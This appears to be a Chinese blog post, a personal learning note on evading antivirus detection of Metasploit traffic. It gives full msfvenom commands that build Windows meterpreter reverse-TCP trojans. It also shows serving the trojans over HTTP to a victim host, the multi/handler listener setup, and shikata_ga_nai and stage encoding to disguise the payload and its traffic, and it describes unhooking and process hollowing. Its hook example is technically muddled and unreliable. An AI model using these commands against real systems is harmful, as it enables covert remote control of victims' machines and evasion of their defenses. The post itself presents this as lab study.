[免杀学习]MSF网络查杀与规避

终于摸到一点免杀的门了,前面学那么多win api编程都是在打基础

前排提醒:这篇文章不会讲什么理论的东西,因为本人也刚接触免杀,基本没有什么免杀知识,所以只是把当前学到的东西复现一遍

网络查杀

一般来说,杀毒软件对于网络流量的查杀分为以下4步:

  1. 拦截网络流量:杀毒软件可以利用驱动程序或者代理服务器等方式,拦截网络上的数据包,包括进出本地机器的流量和局域网内的流量。
  2. 解析网络流量:杀毒软件可以根据数据包的协议类型,对其进行解析,提取出有用的信息,如源地址、目的地址、端口号、应用程序、内容等。
  3. 分析网络流量:杀毒软件可以根据预设的规则或者算法,对网络流量进行分析,判断是否存在异常或者恶意的行为,如木马传输等。
  4. 处理网络流量:杀毒软件可以根据分析结果,对网络流量进行相应的处理,如放行、拦截、隔离、报警等。

本篇文章设计的免杀操作很简单,只涉及到MSF

直接进行文件传输(无任何免杀操作)

环境:

受害者主机:win10

控制端:Kali

第一步:MSF生成马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.40.128 LPORT=8888 -f exe -o /var/www/html/1.exe

第二步:本地开启HTTP服务供受害者主机下载木马

python -m http.server

本地开启http服务后,将msf生成的马复制过来,或者直接在Kali里执行上述步骤也可以

第三步:受害者主机下载木马

下载操作就略过了,主要看下流量

可以发现直接传输的木马的二进制内容,与010打开的相同

这种没有任何加密混淆操作的文件传输在现代杀软的防护下一逮一个准,所以我们需要做点额外操作

混淆加密后文件传输

其实在文件传输这块更像是过一个静态查杀的方向

使用msfvenom的编码参数:msfvenom提供了一些编码参数,可以对木马文件进行编码,修改其特征码,避免被杀毒软件检测。常用的编码参数有:

-e:指定编码器,如x86/shikata_ga_nai
-i:指定编码次数,如-i 3表示编码三次。
-b:指定避免字符集,如-b '\x00\x0a\xff’表示避免生成这些字符。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.40.128 LPORT=8888 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o 1.exe

重复前面几个步骤(浏览器要清理一下缓存,不然流量会发现返回304)

可以发现编码后总体的二进制内容没有太大变化,并且还是能被杀软检测到,因为MSF的编码功能只是对木马文件进行了一些简单的变形,修改了其特征码,但并不能完全隐藏其恶意行为。比如用到的KERNEL32.dll库,VirtualAlloc这种一眼丁真的函数名都还在,当然过不了杀软,但往深了还没学到,所以就此打住,我们只需知道这样编码过不了杀软就行

木马通信(无加密)

接下来我们来看一下木马与控制端建立连接的通信流量

还是生成一个马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.128 LPORT=8888 -f exe -o /var/www/html/2.exe

msf本地开启exploit监听

msf6 > use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.40.128

set LPORT 8888

最后输入exploit或者run来启动监听器

提前打开wireshark,使用ip.addr==ip 来监听Kali和win10之间的流量

win10虚拟机点击木马上线

查看wireshark,选择一条追踪TCP流

可以看到,没有任何处理的通信流量很直白,直接就是明文传输,PE文件的特征一览无余,

还有调用的api函数都已明文形式传输

杀软在查杀通信流量这块是肯定会检测到的

下面我们来对这个通信流量做一些加密,还是用MSF

木马通信(MSF加密)

在msfconsole中执行到这一步

msf6 > use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

然后 show advanced

上半部分红框内的是模块的高级选项,它们可以用来调整模块的一些细节或功能。

  • ContextInformationFile:比如你想攻击一个目标,但是你不知道它的操作系统版本,你可以先用一个扫描模块来获取这个信息,然后把它保存到一个文件里,再用这个选项指定这个文件,这样你就可以根据这个信息选择合适的载荷或提权技术。
//比如用某个扫描模块扫描出了一个target.xml
<host>
  <address>192.168.1.100</address>
  <os_name>Windows</os_name>
  <os_flavor>XP</os_flavor>
  <os_sp>Service Pack 3</os_sp>
  <arch>x86</arch>
  <vulns>
    <vuln name="MS08-067" port="445" protocol="tcp"/>
    <vuln name="MS17-010" port="445" protocol="tcp"/>
  </vulns>
</host>
  • DisablePayloadHandler:比如你已经有一个监听器在运行,你不想让模块再启动一个新的监听器,你可以用这个选项禁用模块的载荷处理器,这样就可以节省资源和避免冲突。
  • EnableContextEncoding:比如你的载荷包含一些特殊字符,比如空格、引号、反斜杠等,这些字符可能会导致载荷无法正确执行,你可以用这个选项启用临时上下文编码,这样就可以对载荷进行编码,以避免这些字符。
  • ExitOnSession:比如你想攻击一个目标网络,里面有多台机器都是同样的配置和漏洞,你可以用这个选项设置为false,这样模块就不会在创建一个会话后退出,而是会继续运行,尝试创建更多的会话。
  • ListenerTimeout:比如你想攻击一个目标,但是它的响应速度很慢,或者网络延迟很高,你可以用这个选项设置一个较大的值,比如60或120,这样就可以等待更长的时间来接收新的会话。
  • VERBOSE:比如你想查看模块运行的详细过程和结果,以便发现问题或调试错误,你可以用这个选项设置为true,这样就可以显示更多的信息。
  • WORKSPACE:比如你有多个不同的项目或客户,你想把它们分开管理,你可以用这个选项指定不同的工作空间,比如work1、work2、work3等,这样就可以在不同的工作空间下使用不同的模块和目标。
  • WfsDelay:比如你想攻击一个目标,但是它需要一段时间才能执行载荷并创建会话,比如说10秒或20秒,你可以用这个选项设置一个较大的值,比如15或30,这样就可以等待更长的时间来创建会话。

下半部分红框是载荷(payload)的高级选项,它们可以用来调整载荷的一些功能或特性。它们和模块的高级选项的区别是,模块的高级选项是用来控制模块的行为或细节,而载荷的高级选项是用来控制载荷的行为或细节

  • AutoLoadStdapi:这个选项可以控制是否自动加载Stdapi扩展,这个扩展提供了一些基本的功能,比如文件操作、网络操作、系统信息等1。如果设置为true,载荷会在初始化时自动加载这个扩展;如果设置为false,载荷不会自动加载这个扩展,需要手动加载。

  • AutoRunScript:这个选项可以指定一个脚本,在会话创建时自动运行。这个脚本可以用来执行一些常用的操作,比如提权、持久化、清理痕迹等。比如,你可以用这个选项指定一个提权脚本,让载荷在创建会话后自动尝试提权。

  • AutoSystemInfo:这个选项可以控制是否自动获取系统信息,在初始化时如果设置为true,载荷会在初始化时自动获取系统信息,比如操作系统、用户名、进程ID等;如果设置为false,载荷不会自动获取系统信息,需要手动获取。

  • AutoUnhookProcess:这个选项可以控制是否自动加载unhook扩展,并解除进程的钩子。这个扩展可以用来绕过一些防护软件或检测工具,比如杀毒软件、调试器等。如果设置为true,载荷会在初始化时自动加载unhook扩展,并解除进程的钩子;如果设置为false,载荷不会自动加载unhook扩展,需要手动加载。

解除进程的钩子的目的是为了绕过一些防护软件或检测工具,比如杀毒软件、调试器等。

进程的钩子是一种编程技术,可以用来在一个进程中执行自定义的代码,或者修改或替换已有的代码。

一些防护软件或检测工具会使用进程的钩子来监视或拦截一些敏感的操作,比如文件操作、网络操作、系统调用等。如果恶意代码被这些进程的钩子检测到,它可能会被阻止或报告。因此,恶意代码需要解除进程的钩子,以避免被发现或干扰。

解除进程的钩子的方法有多种,比如修改源代码、修改导入表、修改函数指针等。其中一种常见的方法是进程空洞化(Process Hollowing),这种方法是先创建一个新的进程,然后把它的内存中的合法代码清空(空洞化),再把恶意代码写入到它的内存空间中。这样就可以让恶意代码运行在一个看似合法的进程中,从而隐蔽自己。

因为本人之前没接触过二进制,所以很迷,为此专门找了个例子

假设有以下的情况:

  • 有一个杀毒软件,它使用了SetWindowsHookEx函数来安装一个全局钩子,监视所有进程的文件操作。它的钩子函数是hook.dll中的hookFile(),它会检查文件是否有恶意代码,如果有就报警或删除。
  • 有一个木马程序,它想要在目标机器上创建或修改一个文件,但是它不想被杀毒软件发现。它使用了进程空洞化的方法来解除进程的钩子,让自己的代码运行在一个看似合法的进程中。

这个过程可以分为以下几个步骤:

  1. 杀毒软件在启动时,调用SetWindowsHookEx函数,指定hook.dll中的hookFile()作为钩子函数,并设置WH_CBT作为钩子类型。这样就可以在每个进程中创建一个CBT(Computer-Based Training)窗口,用来执行hookFile()函数。
  2. 木马程序在运行时,先创建一个新的进程,比如notepad.exe。然后把notepad.exe的内存中的合法代码清空(空洞化),再把自己的代码写入到notepad.exe的内存空间中。这样就可以让自己的代码运行在notepad.exe这个看似合法的进程中。
  3. 当木马程序想要创建或修改一个文件时,它会调用Windows API函数,比如CreateFile()或WriteFile()。这些函数会触发杀毒软件的钩子函数hookFile(),因为它们都属于CBT事件。
  4. 杀毒软件的钩子函数hookFile()会在notepad.exe进程中执行,它会检查木马程序想要创建或修改的文件是否有恶意代码,如果有就报警或删除。但是,在执行之前,木马程序会检测到hookFile()函数的存在,并且修改notepad.exe进程中存储hookFile()地址的变量或指针,把它们改成空地址。这样就可以让notepad.exe进程不再调用hookFile()函数。
  5. 木马程序继续执行自己的代码,创建或修改文件,并且不被杀毒软件发现或阻止。
  • AutoVerifySessionTimeout:这个选项可以设置等待会话验证的超时时间,单位是秒。如果在这个时间内没有收到验证消息,载荷会认为会话已经失效,并关闭连接。这个选项可以用来防止一些无效或恶意的连接占用资源。

  • EnableStageEncoding:这个选项可以控制是否对第二阶段的载荷进行编码。第二阶段的载荷是指实际执行功能的部分,比如Meterpreter或Shell。编码可以用来绕过一些静态检测或过滤器,比如杀毒软件、防火墙等。如果设置为true,载荷会对第二阶段进行编码;如果设置为false,载荷不会对第二阶段进行编码。

木马分阶段执行过程是指木马程序在感染目标系统时,不是一次性将所有的恶意代码都传输和执行,而是分成几个阶段,每个阶段都有不同的功能和目的。这样做的好处是可以减少被检测的风险,提高传输效率,以及根据目标环境动态调整攻击策略

  • 第一阶段:攻击者通过钓鱼邮件或者恶意网站等手段,诱导用户下载或者运行一个很小的木马程序,这个程序只有一个功能,就是连接到攻击者控制的服务器,并请求下载第二阶段的木马程序。
  • 第二阶段:攻击者根据第一阶段木马程序发送的目标系统信息,选择合适的第二阶段木马程序,并将其传输给目标系统。第二阶段木马程序通常是一个更复杂的恶意软件,比如后门、键盘记录器、勒索软件等,它可以执行更多的恶意操作,并与攻击者保持通信。
  • 第三阶段:如果攻击者想要进一步扩展或者变换攻击手段,他们可以通过第二阶段木马程序再次下载第三阶段木马程序,或者直接在目标系统上执行远程命令。第三阶段木马程序可以是任何类型的恶意软件,比如用于横向移动、数据窃取、破坏等。
  • EnableUnicodeEncoding:这个选项可以控制是否对UTF-8字符串进行十六进制编码。UTF-8字符串是指包含非ASCII字符的字符串,比如中文、日文等。编码可以用来避免一些特殊字符或关键字导致载荷无法正确执行。如果设置为true,载荷会对UTF-8字符串进行十六进制编码;如果设置为false,载荷不会对UTF-8字符串进行十六进制编码。

  • HandlerSSLCert:这个选项可以指定一个SSL证书的路径,用来给HTTP或HTTPS传输提供加密和认证。SSL证书可以用来增强安全性和隐蔽性,比如防止中间人攻击、伪装成合法网站等。如果指定了这个选项,载荷会使用这个证书来建立SSL连接;如果没有指定这个选项,载荷会使用默认的证书或不使用证书。

  • InitialAutoRunScript:这个选项可以指定一个初始脚本,在会话创建时自动运行。这个脚本可以用来执行一些初始化的操作,比如设置代理、加载扩展等。这个选项和AutoRunScript的区别是,InitialAutoRunScript是在载荷初始化之前运行,而AutoRunScript是在载荷初始化之后运行。

  • MeterpreterDebugBuild:这个选项可以控制是否使用Meterpreter的调试版本。Meterpreter的调试版本是指包含了一些调试信息和功能的版本,比如日志、断点等。调试版本可以用来发现或解决一些问题或错误,比如崩溃、异常等。如果设置为true,载荷会使用Meterpreter的调试版本;如果设置为false,载荷会使用Meterpreter的正常版本。

  • MeterpreterDebugLogging:这个选项可以指定Meterpreter的调试日志配置。调试日志配置是指控制Meterpreter记录和输出哪些信息的设置,比如日志级别、日志文件等。调试日志配置可以用来查看或分析Meterpreter的运行情况,比如输入、输出、错误等。这个选项的值是一个字符串,格式是[级别]:[文件],比如"3:debug.log"表示记录3级别以下的信息到debug.log文件中。

之后的一部分选项先略过,不然真的太多了,等以后需要用上的话再说

这里其实只需要用到StageEncoder 选项

set EnableStageEncoding true
set StageEncoder x86/shikata_ga_nai

这里有个很恶心的坑,就是用show encoders他是从encoders这个路径开始显示的,但是set的时候是从后一个目录开始读取编码器的,而且就算你输错了他也不会提示你错了。。。这里卡了我1天

木马生成可以直接用原先的,因为这个操作只是编码了Kali发出的流量,对木马无影响

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.128 LPORT=8888 -f exe -o /var/www/html/2.exe

win10上线,查看流量

可以发现原先的MZ标志,DOS头都已经消失了,这说明Kali成功将自身的流量用shikata_ga_nai编码了

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
MSF(Metasploit Framework)是一款强大的开源渗透测试工具,用于测试和评估计算机系统的安全性。学习MSF渗透工具有助于提高对网络安全的理解和技能。以下是一些学习MSF渗透工具的材料和方法: 1. 官方文档:Metasploit官方网站提供了完整的文档,包括用户指南、参考手册和教程。这些文档详细介绍了MSF的各个模块、命令、选项和使用方法。 2. 书籍:有一些书籍专门介绍了MSF的原理、用法和实例。例如《Metasploit: The Penetration Tester's Guide》,该书提供了深入的MSF知识,并帮助读者掌握渗透测试的技巧。 3. 在线教程:互联网上有许多免费的MSF教程和视频教程可供学习。通过这些教程,可以了解MSF的基本操作和常用技巧,并学习如何使用不同的模块和插件。 4. 实践演练:通过自己的实践和演练来学习MSF是非常重要的。可以使用虚拟机环境搭建实验环境,模拟真实的渗透测试场景,并运用MSF进行实际的渗透测试工作。 5. 社区和论坛:Metasploit拥有活跃的社区和论坛,可以与其他渗透测试者交流经验和学习心得。在这些社区中,可以获取到最新的MSF资讯、漏洞信息和实践技巧。 需要注意的是,渗透测试是一项敏感和专业的工作,必须遵守法律和道德准则。在学习和使用MSF工具时,务必要了解和遵守相关的法律法规,避免非法使用和侵犯他人的隐私和安全。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值